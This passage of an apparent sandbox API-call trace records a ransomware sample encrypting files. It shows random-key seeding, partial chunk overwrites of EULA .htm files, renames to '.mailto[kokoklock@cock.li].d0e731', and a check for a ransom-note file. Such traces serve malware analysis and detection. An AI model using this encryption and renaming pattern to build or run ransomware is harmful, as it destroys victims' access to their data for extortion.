(HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dca8 [0080.750] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dcd0 [0080.750] NtQuerySystemTime (in: CurrentTime=0x24e3fd40 | out: CurrentTime=0x24e3fd40*=132121176386466584) returned 0x0 [0080.750] RtlRandom (in: Seed=0x24e3fd4c | out: Seed=0x24e3fd4c) returned 0xf27e6ce6 [0080.750] RtlRandom (in: Seed=0x24e3fd4c | out: Seed=0x24e3fd4c) returned 0xba1341f2 [0080.750] RtlRandom (in: Seed=0x24e3fd4c | out: Seed=0x24e3fd4c) returned 0x6f5fbfc9 [0080.750] RtlRandom (in: Seed=0x24e3fd4c | out: Seed=0x24e3fd4c) returned 0xd58724d8 [0080.750] RtlRandom (in: Seed=0x24e3fd4c | out: Seed=0x24e3fd4c) returned 0x85f37e90 [0080.750] RtlRandom (in: Seed=0x24e3fd4c | out: Seed=0x24e3fd4c) returned 0x62e26a56 [0080.750] RtlRandom (in: Seed=0x24e3fd4c | out: Seed=0x24e3fd4c) returned 0xbb849837 [0080.750] RtlRandom (in: Seed=0x24e3fd4c | out: Seed=0x24e3fd4c) returned 0xe39d9f4d [0080.750] RtlRandom (in: Seed=0x24e3fd4c | out: Seed=0x24e3fd4c) returned 0x9202734b [0080.750] RtlRandom (in: Seed=0x24e3fd4c | out: Seed=0x24e3fd4c) returned 0x1ec92e87 [0080.750] RtlRandom (in: Seed=0x24e3fd4c | out: Seed=0x24e3fd4c) returned 0x5d36a282 [0080.750] RtlRandom (in: Seed=0x24e3fd4c | out: Seed=0x24e3fd4c) returned 0x6a69cb86 [0080.750] RtlRandom (in: Seed=0x24e3fd4c | out: Seed=0x24e3fd4c) returned 0x9fcdd4ba [0080.750] RtlRandom (in: Seed=0x24e3fd4c | out: Seed=0x24e3fd4c) returned 0x8b94226e [0080.750] RtlRandom (in: Seed=0x24e3fd4c | out: Seed=0x24e3fd4c) returned 0x31c68808 [0080.750] RtlRandom (in: Seed=0x24e3fd4c | out: Seed=0x24e3fd4c) returned 0xd3fd7b08 [0080.750] RtlRandom (in: Seed=0x24e3fd4c | out: Seed=0x24e3fd4c) returned 0x6beb0e [0080.750] RtlRandom (in: Seed=0x24e3fd4c | out: Seed=0x24e3fd4c) returned 0xe76e041d [0080.750] RtlRandom (in: Seed=0x24e3fd4c | out: Seed=0x24e3fd4c) returned 0xc50b61db [0080.750] RtlRandom (in: Seed=0x24e3fd4c | out: Seed=0x24e3fd4c) returned 0xfab70aa0 [0080.750] RtlRandom (in: Seed=0x24e3fd4c | out: Seed=0x24e3fd4c) returned 0xa2658bef [0080.750] RtlRandom (in: Seed=0x24e3fd4c | out: Seed=0x24e3fd4c) returned 0xced3f1a1 [0080.750] RtlRandom (in: Seed=0x24e3fd4c | out: Seed=0x24e3fd4c) returned 0xcabdf07a [0080.750] RtlRandom (in: Seed=0x24e3fd4c | out: Seed=0x24e3fd4c) returned 0xae42fb4 [0080.750] RtlRandom (in: Seed=0x24e3fd4c | out: Seed=0x24e3fd4c) returned 0x4ec9a287 [0080.751] RtlRandom (in: Seed=0x24e3fd4c | out: Seed=0x24e3fd4c) returned 0x7fbb1b35 [0080.751] RtlRandom (in: Seed=0x24e3fd4c | out: Seed=0x24e3fd4c) returned 0x2a21b72a [0080.751] RtlRandom (in: Seed=0x24e3fd4c | out: Seed=0x24e3fd4c) returned 0x7bebecd0 [0080.751] RtlRandom (in: Seed=0x24e3fd4c | out: Seed=0x24e3fd4c) returned 0xcf266859 [0080.751] RtlRandom (in: Seed=0x24e3fd4c | out: Seed=0x24e3fd4c) returned 0x2d83fbf2 [0080.751] RtlRandom (in: Seed=0x24e3fd4c | out: Seed=0x24e3fd4c) returned 0xd5122254 [0080.751] RtlRandom (in: Seed=0x24e3fd4c | out: Seed=0x24e3fd4c) returned 0x6fb3737a [0080.761] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0080.762] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342df00) returned 1 [0080.762] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0080.763] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.763] ReadFile (in: hFile=0x52c, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x24e3fd18, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x24e3fd18*=0x4096, lpOverlapped=0x0) returned 1 [0080.763] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.764] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0080.764] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480390 [0080.764] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dcf8 [0080.764] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dcf8) returned 1 [0080.764] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0080.765] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ded8 [0080.765] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dd70 [0080.765] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dd70) returned 1 [0080.765] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480390) returned 1 [0080.765] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0080.765] WriteFile (in: hFile=0x52c, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x24e3fd18, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x24e3fd18*=0x4096, lpOverlapped=0x0) returned 1 [0080.765] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0080.765] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x112f7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.765] WriteFile (in: hFile=0x52c, lpBuffer=0x342ded8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x24e3fd50, lpOverlapped=0x0 | out: lpBuffer=0x342ded8*, lpNumberOfBytesWritten=0x24e3fd50*=0x20, lpOverlapped=0x0) returned 1 [0080.766] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ded8) returned 1 [0080.766] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0080.766] WriteFile (in: hFile=0x52c, lpBuffer=0x342e068*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24e3fd64, lpOverlapped=0x0 | out: lpBuffer=0x342e068*, lpNumberOfBytesWritten=0x24e3fd64*=0x8, lpOverlapped=0x0) returned 1 [0080.766] WriteFile (in: hFile=0x52c, lpBuffer=0x24e3fd7c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x24e3fd64, lpOverlapped=0x0 | out: lpBuffer=0x24e3fd7c*, lpNumberOfBytesWritten=0x24e3fd64*=0x4, lpOverlapped=0x0) returned 1 [0080.766] WriteFile (in: hFile=0x52c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x24e3fd64, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x24e3fd64*=0x4, lpOverlapped=0x0) returned 1 [0080.766] WriteFile (in: hFile=0x52c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x24e3fd64, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x24e3fd64*=0x6c, lpOverlapped=0x0) returned 1 [0080.766] WriteFile (in: hFile=0x52c, lpBuffer=0x342dca8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x24e3fd64, lpOverlapped=0x0 | out: lpBuffer=0x342dca8*, lpNumberOfBytesWritten=0x24e3fd64*=0x20, lpOverlapped=0x0) returned 1 [0080.766] WriteFile (in: hFile=0x52c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x24e3fd64, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x24e3fd64*=0x4, lpOverlapped=0x0) returned 1 [0080.766] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dca8) returned 1 [0080.766] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342de10) returned 1 [0080.766] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e068) returned 1 [0080.766] CloseHandle (hObject=0x52c) returned 1 [0080.766] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3428f98 [0080.766] wcscpy (in: _Dest=0x3428f98, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm" [0080.767] wcscat (in: _Dest=0x3428f98, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm.mailto[kokoklock@cock.li].d0e731" [0080.767] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sv-se.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sv-se.htm.mailto[kokoklock@cock.li].d0e731")) returned 1 [0080.767] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0080.767] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428f98) returned 1 [0080.767] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm", dwFileAttributes=0x20) returned 0 [0080.767] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd570 [0080.767] wcscpy (in: _Dest=0x33cd570, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0080.767] wcscat (in: _Dest=0x33cd570, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" [0080.768] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\d0e731-readme.txt")) returned 0x20 [0080.768] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd570) returned 1 [0080.768] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34801b0) returned 1 [0080.768] RtlExitUserThread (Status=0x1) Thread: id = 1027 os_tid = 0x1710 [0080.763] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_th-th.htm")) returned 0x20 [0080.769] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm", dwFileAttributes=0x20) returned 1 [0080.769] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_th-th.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0080.769] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x24ebf9a8 | out: lpFileSize=0x24ebf9a8*=254145) returned 1 [0080.769] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x3e0bd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.769] ReadFile (in: hFile=0x52c, lpBuffer=0x24ebf97c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x24ebf978, lpOverlapped=0x0 | out: lpBuffer=0x24ebf97c*, lpNumberOfBytesRead=0x24ebf978*=0x4, lpOverlapped=0x0) returned 1 [0080.770] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.770] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342df00 [0080.771] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dca8 [0080.771] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dcf8 [0080.771] NtQuerySystemTime (in: CurrentTime=0x24ebf954 | out: CurrentTime=0x24ebf954*=132121176386622605) returned 0x0 [0080.771] RtlRandom (in: Seed=0x24ebf960 | out: Seed=0x24ebf960) returned 0xe98490f2 [0080.771] RtlRandom (in: Seed=0x24ebf960 | out: Seed=0x24ebf960) returned 0x55718d92 [0080.771] RtlRandom (in: Seed=0x24ebf960 | out: Seed=0x24ebf960) returned 0x6b001c03 [0080.771] RtlRandom (in: Seed=0x24ebf960 | out: Seed=0x24ebf960) returned 0x9ab64471 [0080.771] RtlRandom (in: Seed=0x24ebf960 | out: Seed=0x24ebf960) returned 0xeaa1c75d [0080.771] RtlRandom (in: Seed=0x24ebf960 | out: Seed=0x24ebf960) returned 0x33a0b29c [0080.771] RtlRandom (in: Seed=0x24ebf960 | out: Seed=0x24ebf960) returned 0x9c6402e0 [0080.771] RtlRandom (in: Seed=0x24ebf960 | out: Seed=0x24ebf960) returned 0xce2e7122 [0080.771] RtlRandom (in: Seed=0x24ebf960 | out: Seed=0x24ebf960) returned 0x4f4e374a [0080.771] RtlRandom (in: Seed=0x24ebf960 | out: Seed=0x24ebf960) returned 0xbe92b111 [0080.771] RtlRandom (in: Seed=0x24ebf960 | out: Seed=0x24ebf960) returned 0x6fcee86d [0080.771] RtlRandom (in: Seed=0x24ebf960 | out: Seed=0x24ebf960) returned 0xcc8bf01f [0080.771] RtlRandom (in: Seed=0x24ebf960 | out: Seed=0x24ebf960) returned 0x665cbb8d [0080.771] RtlRandom (in: Seed=0x24ebf960 | out: Seed=0x24ebf960) returned 0x3eee317 [0080.771] RtlRandom (in: Seed=0x24ebf960 | out: Seed=0x24ebf960) returned 0x2ad43f58 [0080.771] RtlRandom (in: Seed=0x24ebf960 | out: Seed=0x24ebf960) returned 0x38c0c3d [0080.771] RtlRandom (in: Seed=0x24ebf960 | out: Seed=0x24ebf960) returned 0xdeca5656 [0080.771] RtlRandom (in: Seed=0x24ebf960 | out: Seed=0x24ebf960) returned 0x4335de60 [0080.771] RtlRandom (in: Seed=0x24ebf960 | out: Seed=0x24ebf960) returned 0x391486f1 [0080.771] RtlRandom (in: Seed=0x24ebf960 | out: Seed=0x24ebf960) returned 0x58c37e4f [0080.771] RtlRandom (in: Seed=0x24ebf960 | out: Seed=0x24ebf960) returned 0xe3156cf4 [0080.771] RtlRandom (in: Seed=0x24ebf960 | out: Seed=0x24ebf960) returned 0x7bd82098 [0080.771] RtlRandom (in: Seed=0x24ebf960 | out: Seed=0x24ebf960) returned 0x26c1eeef [0080.771] RtlRandom (in: Seed=0x24ebf960 | out: Seed=0x24ebf960) returned 0x796c6397 [0080.771] RtlRandom (in: Seed=0x24ebf960 | out: Seed=0x24ebf960) returned 0xa742dbbe [0080.771] RtlRandom (in: Seed=0x24ebf960 | out: Seed=0x24ebf960) returned 0xdff83e0d [0080.771] RtlRandom (in: Seed=0x24ebf960 | out: Seed=0x24ebf960) returned 0xcce7db26 [0080.771] RtlRandom (in: Seed=0x24ebf960 | out: Seed=0x24ebf960) returned 0x7e7a4e7 [0080.771] RtlRandom (in: Seed=0x24ebf960 | out: Seed=0x24ebf960) returned 0x6fc9c40f [0080.771] RtlRandom (in: Seed=0x24ebf960 | out: Seed=0x24ebf960) returned 0xf463171a [0080.771] RtlRandom (in: Seed=0x24ebf960 | out: Seed=0x24ebf960) returned 0xde8f41cc [0080.771] RtlRandom (in: Seed=0x24ebf960 | out: Seed=0x24ebf960) returned 0xec8f4d46 [0080.782] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0080.782] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342df00) returned 1 [0080.782] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0080.782] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.782] ReadFile (in: hFile=0x52c, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x24ebf914, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x24ebf914*=0x4096, lpOverlapped=0x0) returned 1 [0080.783] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.783] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0080.783] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480390 [0080.783] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dd70 [0080.783] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dd70) returned 1 [0080.783] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0080.784] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ded8 [0080.784] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dd70 [0080.784] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dd70) returned 1 [0080.784] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480390) returned 1 [0080.784] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0080.784] WriteFile (in: hFile=0x52c, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x24ebf914, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x24ebf914*=0x4096, lpOverlapped=0x0) returned 1 [0080.784] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0080.784] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x204b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.784] ReadFile (in: hFile=0x52c, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x24ebf914, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x24ebf914*=0x4096, lpOverlapped=0x0) returned 1 [0080.785] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x204b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.785] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0080.785] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480570 [0080.785] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dfc8 [0080.785] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dfc8) returned 1 [0080.785] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0080.786] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dfa0 [0080.786] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dd70 [0080.786] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dd70) returned 1 [0080.786] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0080.786] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0080.786] WriteFile (in: hFile=0x52c, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x24ebf914, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x24ebf914*=0x4096, lpOverlapped=0x0) returned 1 [0080.786] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0080.786] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x3a02b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.786] ReadFile (in: hFile=0x52c, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x24ebf914, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x24ebf914*=0x4096, lpOverlapped=0x0) returned 1 [0080.787] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x3a02b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.787] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd508 [0080.787] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0080.787] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dd70 [0080.787] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dd70) returned 1 [0080.787] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0080.787] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dd70 [0080.787] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dc30 [0080.787] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dc30) returned 1 [0080.787] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0080.787] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd508) returned 1 [0080.788] WriteFile (in: hFile=0x52c, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x24ebf914, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x24ebf914*=0x4096, lpOverlapped=0x0) returned 1 [0080.788] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0080.788] WriteFile (in: hFile=0x52c, lpBuffer=0x342ded8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x24ebf970, lpOverlapped=0x0 | out: lpBuffer=0x342ded8*, lpNumberOfBytesWritten=0x24ebf970*=0x20, lpOverlapped=0x0) returned 1 [0080.788] WriteFile (in: hFile=0x52c, lpBuffer=0x342dfa0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x24ebf970, lpOverlapped=0x0 | out: lpBuffer=0x342dfa0*, lpNumberOfBytesWritten=0x24ebf970*=0x20, lpOverlapped=0x0) returned 1 [0080.788] WriteFile (in: hFile=0x52c, lpBuffer=0x342dd70*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x24ebf970, lpOverlapped=0x0 | out: lpBuffer=0x342dd70*, lpNumberOfBytesWritten=0x24ebf970*=0x20, lpOverlapped=0x0) returned 1 [0080.788] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0080.788] WriteFile (in: hFile=0x52c, lpBuffer=0x342e068*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24ebf978, lpOverlapped=0x0 | out: lpBuffer=0x342e068*, lpNumberOfBytesWritten=0x24ebf978*=0x8, lpOverlapped=0x0) returned 1 [0080.788] WriteFile (in: hFile=0x52c, lpBuffer=0x24ebf990*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x24ebf978, lpOverlapped=0x0 | out: lpBuffer=0x24ebf990*, lpNumberOfBytesWritten=0x24ebf978*=0x4, lpOverlapped=0x0) returned 1 [0080.788] WriteFile (in: hFile=0x52c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x24ebf978, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x24ebf978*=0x4, lpOverlapped=0x0) returned 1 [0080.788] WriteFile (in: hFile=0x52c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x24ebf978, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x24ebf978*=0x6c, lpOverlapped=0x0) returned 1 [0080.788] WriteFile (in: hFile=0x52c, lpBuffer=0x342dca8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x24ebf978, lpOverlapped=0x0 | out: lpBuffer=0x342dca8*, lpNumberOfBytesWritten=0x24ebf978*=0x20, lpOverlapped=0x0) returned 1 [0080.788] WriteFile (in: hFile=0x52c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x24ebf978, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x24ebf978*=0x4, lpOverlapped=0x0) returned 1 [0080.788] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dca8) returned 1 [0080.789] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342de10) returned 1 [0080.789] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e068) returned 1 [0080.789] CloseHandle (hObject=0x52c) returned 1 [0080.789] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3428080 [0080.789] wcscpy (in: _Dest=0x3428080, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm" [0080.789] wcscat (in: _Dest=0x3428080, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm.mailto[kokoklock@cock.li].d0e731" [0080.789] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_th-th.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_th-th.htm.mailto[kokoklock@cock.li].d0e731")) returned 1 [0080.789] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0080.790] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428080) returned 1 [0080.790] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm", dwFileAttributes=0x20) returned 0 [0080.790] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd5f0 [0080.790] wcscpy (in: 